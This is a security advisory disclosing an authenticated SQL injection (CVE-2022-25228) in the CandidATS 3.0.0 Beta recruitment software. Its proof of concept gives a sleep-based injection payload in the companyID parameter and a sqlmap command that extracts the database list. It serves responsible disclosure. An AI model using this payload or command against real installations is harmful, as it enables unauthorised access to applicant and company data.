CandidATS 3.0.0 - Authenticated SQL Injection

Summary

Affected versions	Version 3.0.0 Beta (Pilava Beta)
State	Public
Release date	2022-07-19

Vulnerability

Kind	SQL injection
Rule	146. SQL injection
Remote	Yes
CVSSv3 Vector	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
CVSSv3 Base Score	6.3
Exploit available	No
CVE ID(s)	CVE-2022-25228

`m=companies&a=show` via the `companyID` parameter

Proof of Concept

1. Log in to CandidATS with a user who has permissions to read job orders, candidates or companies.
2. Go to `index.php?m=joborders` (or any of the option above).
3. Uncheck the `Only My Companies` option.
4. Select any of the items listed and intercept the request with BurpSuite.

5. It is possible to inject sql sentences inside the companyID parameter, for example, the following request will make the database sleep for 5 seconds.

```
GET /candidATS/index.php?m=companies&a=show&companyID=2+or+sleep(5) HTT
```

6. Save the intercepted request into a file.

```
GET /candidATS/index.php?m=companies&a=show&companyID=2 HTTP/1.1
Host: 172.16.28.136
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gecko/2010
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avi
Accept-Language: en-US,en;q=0.5
```

7. Run the following command from sqlmap in order to extract information from the database.

```
$ sqlmap -r companyId.req -p companyID --dbs --batch
```

Exploit

It is possible to use sqlmap in order to extract information from the database

Mitigation

This information will be released later according to our Responsible Disclosure Policy.

Credits

The vulnerability was discovered by Oscar Uribe from the Offensive Team of `Fluid Attacks`.

References

Vendor page https://candidats.net/forums/

Timeline

✓ 2022-04-19
Vulnerability discovered

✓ Vendor Confirmed the vulnerability.

✓ 2022-07-19
Public Disclosure.

Services

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website.

Allow all cookies

Show details

DevSecOps

Secure Code Review

Red Teaming

Breach and Attack Simulation

Security Testing

Penetration Testing

Ethical Hacking

Vulnerability Management

Blog

Certifications

Partners

Careers

Advisories

FAQ

Documentation

Contact

Service Status - Terms of Use - Privacy Policy - Cookie Policy